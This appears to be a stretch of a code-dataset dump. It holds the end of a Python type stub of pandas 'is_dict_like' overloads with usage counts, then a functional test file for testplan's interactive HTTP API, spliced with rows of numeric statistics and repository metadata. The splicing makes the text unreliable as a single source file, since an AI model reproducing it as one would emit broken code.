usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["bool_col", "str_col", "float_col", "int_col"],
List[Union[int, float, bool, Literal["d", "c", "a"]]],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["B", "A"], List[int]]):
"""
usage.modin: 6
"""
...
@overload
def is_dict_like(obj: Dict[Literal["B", "A"], List[Union[None, int]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["C", "B", "A"], List[Union[int, Literal["e", "d", "c", "b", "a"]]]
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: List[
Tuple[
Literal["falcon", "parrot", "lion", "monkey"],
Literal["bird", "mammal"],
float,
]
]
):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["b", "a"], List[Union[int, None]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["b", "a"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[Tuple[int, int]]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[int, List[Union[Literal["bar", "foo", "bas", "bah"], int]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["num_arms", "num_legs"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[str, Union[List[Union[Literal["c", "b", "a"], bool, int]], numpy.ndarray]]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["locomotion", "animal", "class", "num_wings", "num_legs"],
List[Union[int, str]],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["data"], range]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[List[int]]):
"""
usage.modin: 4
"""
...
@overload
def is_dict_like(obj: dict):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["health", "max_speed", "id"], list]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[int]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(
obj: List[
Union[numpy.ndarray, pandas.core.series.Series, modin.pandas.series.Series]
]
):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: pandas.core.arrays.categorical.Categorical):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[Literal["col2", "col1"], List[Union[Literal["A", "B"], int]]]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col2", "col1"], List[Union[str, int]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[str, range]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[str, List[float]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[str, List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["col7", "col3", "col1", "name"],
List[Union[Literal["three", "two", "one"], int]],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[str, List[Literal["s4", "s3", "s2", "s1", "s0"]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[List[Union[Literal["3", "7", "0", "9"], float]]]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: List[Dict[Literal["time", "value"], int]]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["B", "A"], List[str]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["col4", "col3", "col2", "col1"],
List[Union[Literal["c", "b", "a"], int]],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["C", "B", "A"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["b", "a"], numpy.ndarray]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["y", "x"], List[Union[int, None]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col2", "col1"], List[Union[int, float]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[List[Union[float, Literal["a", "b", "c"]]]]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["a"], List[float]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["c", "b", "a"], List[Union[int, float]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["D", "C", "B", "A"],
Union[
List[Union[int, float, Literal["bar", "foo", "bar2", "foo2"], None]],
pandas.core.indexes.datetimes.DatetimeIndex,
],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[Literal["alpha-2", "GDP", "population"], List[Union[int, str]]]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: pandas.core.series.Series):
"""
usage.dask: 2
"""
...
@overload
def is_dict_like(obj: dask.dataframe.core.Series):
"""
usage.dask: 1
"""
...
def is_dict_like(obj: object):
"""
usage.dask: 3
usage.koalas: 4
usage.modin: 119
"""
...
@overload
def is_hashable(obj: None):
"""
usage.koalas: 1
"""
...
@overload
def is_hashable(obj: Literal["a"]):
"""
usage.koalas: 1
"""
...
@overload
def is_hashable(obj: Tuple[Literal["x"], Literal["a"]]):
"""
usage.koalas: 1
"""
...
@overload
def is_hashable(obj: List[Literal["a", "x"]]):
"""
usage.koalas: 1
"""
...
def is_hashable(
obj: Union[
List[Literal["a", "x"]], Literal["a"], None, Tuple[Literal["x"], Literal["a"]]
]
):
"""
usage.koalas: 4
"""
...
def is_sequence(obj: int):
"""
usage.koalas: 1
"""
...
| 14.785276
| 88
| 0.50695
| 1,184
| 9,640
| 4.000845
| 0.103885
| 0.077053
| 0.192105
| 0.183872
| 0.796073
| 0.774541
| 0.759341
| 0.73802
| 0.727676
| 0.698754
| 0
| 0.017675
| 0.26639
| 9,640
| 651
| 89
| 14.807988
| 0.652149
| 0.117635
| 0
| 0.647887
| 0
| 0
| 0.069981
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.257042
| false
| 0
| 0.003521
| 0
| 0.260563
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8bd3507cf485285aae3a3ce144a43bb513099d8f
| 34,364
|
py
|
Python
|
tests/functional/testplan/runnable/interactive/test_api.py
|
cpages/testplan
|
462f95204095f62ab9ff8ae40e73d0de447204e4
|
[
"Apache-2.0"
] | 1
|
2021-07-21T08:28:41.000Z
|
2021-07-21T08:28:41.000Z
|
tests/functional/testplan/runnable/interactive/test_api.py
|
cpages/testplan
|
462f95204095f62ab9ff8ae40e73d0de447204e4
|
[
"Apache-2.0"
] | null | null | null |
tests/functional/testplan/runnable/interactive/test_api.py
|
cpages/testplan
|
462f95204095f62ab9ff8ae40e73d0de447204e4
|
[
"Apache-2.0"
] | null | null | null |
"""Functional tests for interactive HTTP API."""
import functools
from unittest import mock
import pytest
import requests
import testplan
from testplan import report
from testplan.testing import multitest
from testplan.common.utils import timing
from testplan.common import entity
from testplan.exporters.testing import XMLExporter
from tests.unit.testplan.runnable.interactive import test_api
@multitest.testsuite
class ExampleSuite(object):
"""Example test suite."""
def __init__(self, tmpfile):
self._tmpfile = tmpfile
@multitest.testcase
def test_passes(self, env, result):
"""Testcase that passes."""
result.true(True)
@multitest.testcase
def test_fails(self, env, result):
"""Testcase that fails."""
result.true(False)
@multitest.testcase
def test_logs(self, env, result):
"""Testcase that makes a log."""
result.log("Here I share my deepest thoughts")
@multitest.testcase
def test_attach(self, env, result):
"""Testcase that attaches a file."""
result.attach(self._tmpfile)
@multitest.testcase(parameters=[1, 2, 3])
def test_parametrized(self, env, result, val):
"""Parametrized testcase."""
result.log(val)
result.gt(val, 0)
result.lt(val, 10)
@pytest.fixture
def plan(tmpdir):
"""Yield an interactive testplan."""
with mock.patch(
"testplan.runnable.interactive.reloader.ModuleReloader"
) as MockReloader:
MockReloader.return_value = None
plan = testplan.TestplanMock(
name="InteractiveAPITest",
interactive_port=0,
interactive_block=False,
exporters=[XMLExporter(xml_dir=str(tmpdir / "xml_exporter"))],
)
logfile = tmpdir / "attached_log.txt"
logfile.write_text(
"This text will be written into the attached file.",
encoding="utf-8",
)
plan.add(
multitest.MultiTest(
name="ExampleMTest",
suites=[ExampleSuite(str(logfile))],
)
)
plan.run()
timing.wait(
lambda: plan.interactive.http_handler_info is not None,
300,
raise_on_timeout=True,
)
yield plan
plan.abort()
@multitest.testsuite(strict_order=True)
class ExampleSuite2(object):
"""Example test suite."""
def __init__(self, tmpfile):
self._tmpfile = tmpfile
@multitest.testcase
def test_passes(self, env, result):
"""Testcase that passes."""
result.true(True)
@multitest.testcase
def test_fails(self, env, result):
"""Testcase that fails."""
result.true(False)
@multitest.testcase
def test_logs(self, env, result):
"""Testcase that makes a log."""
result.log("Here I share my deepest thoughts")
@multitest.testcase
def test_attach(self, env, result):
"""Testcase that attaches a file."""
result.attach(self._tmpfile)
@multitest.testcase(parameters=[1, 2, 3])
def test_parametrized(self, env, result, val):
"""Parametrized testcase."""
result.log(val)
result.gt(val, 0)
result.lt(val, 10)
@pytest.fixture
def plan2(tmpdir):
"""
Yield an interactive testplan. It only has one multitest instance with
one test suite whose `strict_order` attribute is enabled.
"""
with mock.patch(
"testplan.runnable.interactive.reloader.ModuleReloader"
) as MockReloader:
MockReloader.return_value = None
plan = testplan.TestplanMock(
name="InteractiveAPITest",
interactive_port=0,
interactive_block=False,
exporters=[XMLExporter(xml_dir=str(tmpdir / "xml_exporter"))],
)
logfile = tmpdir / "attached_log.txt"
logfile.write_text(
"This text will be written into the attached file.",
encoding="utf-8",
)
plan.add(
multitest.MultiTest(
name="ExampleMTest2",
suites=[ExampleSuite2(str(logfile))],
)
)
plan.run()
timing.wait(
lambda: plan.interactive.http_handler_info is not None,
300,
raise_on_timeout=True,
)
yield plan
plan.abort()
# Expected JSON to be returned from each API resource at start of day, before
# any tests have been run.
EXPECTED_INITIAL_GET = [
(
"/report",
{
"attachments": {},
"category": "testplan",
"entry_uids": ["ExampleMTest"],
"meta": {},
"name": "InteractiveAPITest",
"parent_uids": [],
"status": "unknown",
"runtime_status": "ready",
"counter": {"failed": 0, "passed": 0, "total": 7, "unknown": 7},
"status_override": None,
"tags_index": {},
"timer": {},
"uid": "InteractiveAPITest",
},
),
(
"/report/tests",
[
{
"category": "multitest",
"description": None,
"entry_uids": ["ExampleSuite"],
"env_status": "STOPPED",
"fix_spec_path": None,
"name": "ExampleMTest",
"parent_uids": ["InteractiveAPITest"],
"part": None,
"status": "unknown",
"runtime_status": "ready",
"counter": {
"failed": 0,
"passed": 0,
"total": 7,
"unknown": 7,
},
"status_override": None,
"tags": {},
"timer": {},
"uid": "ExampleMTest",
}
],
),
(
"/report/tests/ExampleMTest",
{
"category": "multitest",
"description": None,
"entry_uids": ["ExampleSuite"],
"env_status": "STOPPED",
"fix_spec_path": None,
"name": "ExampleMTest",
"parent_uids": ["InteractiveAPITest"],
"part": None,
"status": "unknown",
"runtime_status": "ready",
"counter": {"failed": 0, "passed": 0, "total": 7, "unknown": 7},
"status_override": None,
"tags": {},
"timer": {},
"uid": "ExampleMTest",
},
),
(
"/report/tests/ExampleMTest/suites",
[
{
"category": "testsuite",
"description": "Example test suite.",
"entry_uids": [
"test_passes",
"test_fails",
"test_logs",
"test_attach",
"test_parametrized",
],
"env_status": None,
"fix_spec_path": None,
"name": "ExampleSuite",
"parent_uids": ["InteractiveAPITest", "ExampleMTest"],
"part": None,
"status": "unknown",
"runtime_status": "ready",
"counter": {
"failed": 0,
"passed": 0,
"total": 7,
"unknown": 7,
},
"status_override": None,
"tags": {},
"timer": {},
"uid": "ExampleSuite",
}
],
),
(
"/report/tests/ExampleMTest/suites/ExampleSuite",
{
"category": "testsuite",
"description": "Example test suite.",
"entry_uids": [
"test_passes",
"test_fails",
"test_logs",
"test_attach",
"test_parametrized",
],
"env_status": None,
"fix_spec_path": None,
"name": "ExampleSuite",
"parent_uids": ["InteractiveAPITest", "ExampleMTest"],
"part": None,
"status": "unknown",
"runtime_status": "ready",
"counter": {"failed": 0, "passed": 0, "total": 7, "unknown": 7},
"status_override": None,
"tags": {},
"timer": {},
"uid": "ExampleSuite",
},
),
(
"/report/tests/ExampleMTest/suites/ExampleSuite/testcases",
[
{
"category": "testcase",
"description": "Testcase that passes.",
"entries": [],
"logs": [],
"name": "test_passes",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"status": "unknown",
"runtime_status": "ready",
"counter": {
"passed": 0,
"failed": 0,
"total": 1,
"unknown": 1,
},
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_passes",
"status_reason": None,
},
{
"category": "testcase",
"description": "Testcase that fails.",
"entries": [],
"logs": [],
"name": "test_fails",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"status": "unknown",
"runtime_status": "ready",
"counter": {
"passed": 0,
"failed": 0,
"total": 1,
"unknown": 1,
},
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_fails",
"status_reason": None,
},
{
"category": "testcase",
"description": "Testcase that makes a log.",
"entries": [],
"logs": [],
"name": "test_logs",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"counter": {
"passed": 0,
"failed": 0,
"total": 1,
"unknown": 1,
},
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_logs",
"status_reason": None,
},
{
"category": "testcase",
"description": "Testcase that attaches a file.",
"entries": [],
"logs": [],
"name": "test_attach",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"counter": {
"passed": 0,
"failed": 0,
"total": 1,
"unknown": 1,
},
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_attach",
"status_reason": None,
},
{
"category": "parametrization",
"counter": {
"passed": 0,
"failed": 0,
"total": 3,
"unknown": 3,
},
"description": "Parametrized testcase.",
"entry_uids": [
"test_parametrized__val_1",
"test_parametrized__val_2",
"test_parametrized__val_3",
],
"env_status": None,
"fix_spec_path": None,
"name": "test_parametrized",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"part": None,
"runtime_status": "ready",
"status": "unknown",
"status_override": None,
"tags": {},
"timer": {},
"uid": "test_parametrized",
},
],
),
(
"/report/tests/ExampleMTest/suites/ExampleSuite/testcases/test_passes",
{
"category": "testcase",
"description": "Testcase that passes.",
"entries": [],
"logs": [],
"name": "test_passes",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_passes",
"status_reason": None,
},
),
(
"/report/tests/ExampleMTest/suites/ExampleSuite/testcases/"
"test_parametrized/parametrizations",
[
{
"category": "testcase",
"description": "Parametrized testcase.",
"entries": [],
"logs": [],
"name": "test_parametrized <val=1>",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
"test_parametrized",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_parametrized__val_1",
"status_reason": None,
},
{
"category": "testcase",
"description": "Parametrized testcase.",
"entries": [],
"logs": [],
"name": "test_parametrized <val=2>",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
"test_parametrized",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_parametrized__val_2",
"status_reason": None,
},
{
"category": "testcase",
"description": "Parametrized testcase.",
"entries": [],
"logs": [],
"name": "test_parametrized <val=3>",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
"test_parametrized",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_parametrized__val_3",
"status_reason": None,
},
],
),
(
"/report/tests/ExampleMTest/suites/ExampleSuite/testcases/"
"test_parametrized/parametrizations/test_parametrized__val_1",
{
"category": "testcase",
"description": "Parametrized testcase.",
"entries": [],
"logs": [],
"name": "test_parametrized <val=1>",
"parent_uids": [
"InteractiveAPITest",
"ExampleMTest",
"ExampleSuite",
"test_parametrized",
],
"status": "unknown",
"runtime_status": "ready",
"status_override": None,
"suite_related": False,
"tags": {},
"timer": {},
"type": "TestCaseReport",
"uid": "test_parametrized__val_1",
"status_reason": None,
},
),
]
# Expected results of testcases.
EXPECTED_TESTCASE_RESULTS = [
("test_passes", "passed"),
("test_fails", "failed"),
("test_logs", "passed"),
("test_attach", "passed"),
("test_parametrized", "passed"),
]
# Expected results of parametrized testcases.
EXPECTED_PARAM_TESTCASE_RESULTS = [
("test_parametrized__val_1", "passed"),
("test_parametrized__val_2", "passed"),
("test_parametrized__val_3", "passed"),
]
def test_initial_get(plan):
"""
Test GETting the report state through each of the API resources at the
start of day, i.e. before any tests have been run.
"""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
for resource_path, expected_json in EXPECTED_INITIAL_GET:
rsp = requests.get(
"http://localhost:{port}/api/v1/interactive{resource}".format(
port=port, resource=resource_path
)
)
assert rsp.status_code == 200
test_api.compare_json(rsp.json(), expected_json)
def test_run_all_tests(plan):
"""
Test running all tests.
"""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
report_url = "http://localhost:{}/api/v1/interactive/report".format(port)
rsp = requests.get(report_url)
assert rsp.status_code == 200
report_json = rsp.json()
last_hash = report_json["hash"]
# Trigger all tests to run by updating the report status to RUNNING
# and PUTting back the data.
report_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(report_url, json=report_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, report_json)
assert updated_json["hash"] != last_hash
timing.wait(
functools.partial(
_check_test_status, report_url, "failed", updated_json["hash"]
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# After running all tests, check that we can retrieve the attached file.
_test_attachments(port)
def test_run_mtest(plan):
"""Test running a single MultiTest."""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
mtest_url = (
"http://localhost:{}/api/v1/interactive/report/tests/"
"ExampleMTest".format(port)
)
rsp = requests.get(mtest_url)
assert rsp.status_code == 200
mtest_json = rsp.json()
# Trigger all tests to run by updating the report status to RUNNING
# and PUTting back the data.
mtest_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(mtest_url, json=mtest_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, mtest_json)
assert updated_json["hash"] != mtest_json["hash"]
timing.wait(
functools.partial(
_check_test_status, mtest_url, "failed", updated_json["hash"]
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
def test_environment_control(plan):
"""Test starting and stopping the environment."""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
mtest_url = (
"http://localhost:{}/api/v1/interactive/report/tests/"
"ExampleMTest".format(port)
)
rsp = requests.get(mtest_url)
assert rsp.status_code == 200
mtest_json = rsp.json()
# Trigger the environment to start by setting the env_status to STARTING
# and PUTting back the data.
mtest_json["env_status"] = entity.ResourceStatus.STARTING
rsp = requests.put(mtest_url, json=mtest_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, mtest_json)
assert updated_json["hash"] != mtest_json["hash"]
# Wait for the environment to become STARTED.
timing.wait(
functools.partial(
_check_env_status,
mtest_url,
entity.ResourceStatus.STARTED,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# Now trigger the environment to stop by setting the env_status to STOPPING
# and PUTting back the data.
mtest_json = updated_json
mtest_json["env_status"] = entity.ResourceStatus.STOPPING
rsp = requests.put(mtest_url, json=mtest_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, mtest_json)
assert updated_json["hash"] != mtest_json["hash"]
# Wait for the environment to become STOPPED.
timing.wait(
functools.partial(
_check_env_status,
mtest_url,
entity.ResourceStatus.STOPPED,
updated_json["hash"],
),
interval=0.2,
timeout=30,
raise_on_timeout=True,
)
def test_run_suite(plan):
"""Test running a single test suite."""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
suite_url = (
"http://localhost:{}/api/v1/interactive/report/tests/ExampleMTest/"
"suites/ExampleSuite".format(port)
)
rsp = requests.get(suite_url)
assert rsp.status_code == 200
suite_json = rsp.json()
# Trigger all tests to run by updating the report status to RUNNING
# and PUTting back the data.
suite_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(suite_url, json=suite_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, suite_json)
assert updated_json["hash"] != suite_json["hash"]
timing.wait(
functools.partial(
_check_test_status, suite_url, "failed", updated_json["hash"]
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
def test_run_testcase(plan):
"""Test running a single testcase."""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
for testcase_name, expected_result in EXPECTED_TESTCASE_RESULTS:
testcase_url = (
"http://localhost:{port}/api/v1/interactive/report/tests/"
"ExampleMTest/suites/ExampleSuite/testcases/{testcase}".format(
port=port, testcase=testcase_name
)
)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
# Trigger all tests to run by updating the report status to RUNNING
# and PUTting back the data.
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, testcase_json)
assert updated_json["hash"] != testcase_json["hash"]
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
def test_export_report(plan):
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
export_url = (
"http://localhost:{port}/api/v1/interactive/report/export".format(
port=port
)
)
rsp = requests.get(export_url)
assert rsp.status_code == 200
result = rsp.json()
assert len(result["history"]) == 0
assert "XML exporter" in result["available"]
rsp = requests.post(export_url, json={"exporters": ["XML exporter"]})
assert rsp.status_code == 200
result = rsp.json()
assert len(result["history"]) == 1
def test_run_param_testcase(plan):
"""Test running a single parametrized testcase."""
host, port = plan.interactive.http_handler_info
assert host == "0.0.0.0"
for param_name, expected_result in EXPECTED_PARAM_TESTCASE_RESULTS:
testcase_url = (
"http://localhost:{port}/api/v1/interactive/report/tests/"
"ExampleMTest/suites/ExampleSuite/testcases/test_parametrized/"
"parametrizations/{param}".format(port=port, param=param_name)
)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
# Trigger all tests to run by updating the report status to RUNNING
# and PUTting back the data.
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
test_api.compare_json(updated_json, testcase_json)
assert updated_json["hash"] != testcase_json["hash"]
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
def test_run_testcases_sequentially(plan2):
"""Test running a single testcase."""
host, port = plan2.interactive.http_handler_info
assert host == "0.0.0.0"
suite_url = (
"http://localhost:{}/api/v1/interactive/report/tests/"
"ExampleMTest2/suites/ExampleSuite2".format(port)
)
case_url = (
"http://localhost:{port}/api/v1/interactive/report/tests/"
"ExampleMTest2/suites/ExampleSuite2/testcases/{testcase}"
)
param_case_url = (
"http://localhost:{port}/api/v1/interactive/report/tests/"
"ExampleMTest2/suites/ExampleSuite2/testcases/test_parametrized/"
"parametrizations/{param}"
)
# Run the 1st and 2nd testcases
for testcase_name, expected_result in EXPECTED_TESTCASE_RESULTS[:2]:
testcase_url = case_url.format(port=port, testcase=testcase_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# Skip the 3rd testcase and run the 4th, it is not allowed
testcase_name, expected_result = EXPECTED_TESTCASE_RESULTS[3]
testcase_url = case_url.format(port=port, testcase=testcase_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
testcase_json = rsp.json()
assert (
"errmsg" in testcase_json
and "reset test report if necessary" in testcase_json["errmsg"]
)
# Run the 3rd and 4th testcases sequentially again and this time it is OK
for testcase_name, expected_result in EXPECTED_TESTCASE_RESULTS[2:4]:
testcase_url = case_url.format(port=port, testcase=testcase_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# Run the 1st testcase in param group
for param_name, expected_result in EXPECTED_PARAM_TESTCASE_RESULTS[:1]:
testcase_url = param_case_url.format(port=port, param=param_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# Skip the 2nd testcase in param group and run the 3rd, it is not allowed
param_name, expected_result = EXPECTED_PARAM_TESTCASE_RESULTS[2]
testcase_url = param_case_url.format(port=port, param=param_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
testcase_json = rsp.json()
assert (
"errmsg" in testcase_json
and "reset test report if necessary" in testcase_json["errmsg"]
)
# Run the 2nd and 3rd testcases sequentially in param group again
for param_name, expected_result in EXPECTED_PARAM_TESTCASE_RESULTS[1:]:
testcase_url = param_case_url.format(port=port, param=param_name)
rsp = requests.get(testcase_url)
assert rsp.status_code == 200
testcase_json = rsp.json()
testcase_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(testcase_url, json=testcase_json)
assert rsp.status_code == 200
updated_json = rsp.json()
timing.wait(
functools.partial(
_check_test_status,
testcase_url,
expected_result,
updated_json["hash"],
),
interval=0.2,
timeout=60,
raise_on_timeout=True,
)
# The testcases in that "strict_order" test suite already run so we
# cannot run this suite again.
rsp = requests.get(suite_url.format(port))
assert rsp.status_code == 200
suite_json = rsp.json()
suite_json["runtime_status"] = report.RuntimeStatus.RUNNING
rsp = requests.put(suite_url, json=suite_json)
assert rsp.status_code == 200
suite_json = rsp.json()
assert (
"errmsg" in suite_json
and "reset test report if necessary" in suite_json["errmsg"]
)
def _test_attachments(port):
"""
Test retrieving an attached file. The test_attach testcase needs to have
been run first.
"""
all_attachments_url = (
"http://localhost:{port}/api/v1/interactive/attachments".format(
port=port
)
)
rsp = requests.get(all_attachments_url)
assert rsp.status_code == 200
attachments = rsp.json()
assert len(attachments) == 1
assert attachments[0].startswith("attached_log")
attachment_uid = attachments[0]
single_attachment_url = all_attachments_url + "/" + attachment_uid
rsp = requests.get(single_attachment_url)
assert rsp.status_code == 200
assert rsp.text == "This text will be written into the attached file."
def _check_test_status(test_url, expected_status, last_hash):
"""
Check the test status by polling the report resource. If the test is
still running, return False. Otherwise assert that the status matches
the expected status and return True.
"""
rsp = requests.get(test_url)
assert rsp.status_code == 200
report_json = rsp.json()
if (
report_json["runtime_status"] == report.RuntimeStatus.RUNNING
or report_json["runtime_status"] == report.RuntimeStatus.READY
):
# when running a test entity, the whole test report can be reset by
# `dry_run` and `runtime_status` is changed to "ready".
return False
else:
assert report_json["runtime_status"] == report.RuntimeStatus.FINISHED
assert report_json["status"] == expected_status
assert report_json["hash"] != last_hash
return True
def _check_env_status(test_url, expected_status, last_hash):
"""
Check the environment status by polling the report resource. Return
True if the status matches the expected status, False otherwise.
"""
rsp = requests.get(test_url)
assert rsp.status_code == 200
report_json = rsp.json()
if report_json["env_status"] == expected_status:
assert report_json["hash"] != last_hash
return True
else:
return False
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| 79
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0
| 7
|
473868d2c6b4eb2556a391542b24b6bfa2939500
| 112
|
py
|
Python
|
runner/__init__.py
|
YuhangSong/RBP
|
